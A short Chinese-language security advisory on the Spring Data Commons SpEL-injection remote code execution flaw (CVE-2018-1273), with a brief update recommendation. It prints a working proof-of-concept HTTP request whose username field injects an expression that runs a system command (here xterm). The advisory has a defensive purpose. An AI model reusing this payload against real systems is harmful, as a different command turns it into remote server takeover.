Spring Data Commons爆出远程代码执行漏洞(CVE-2018-1273),攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。
这是POC验证漏洞的测试http请求:
POST /users HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 164 username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
受影响范围 :
解决方案:
建议及时更新到官方最新版
Spring Data Commons组件:
已不支持的旧版本请更新到官方提供支持的最新版本
已经修复的版本: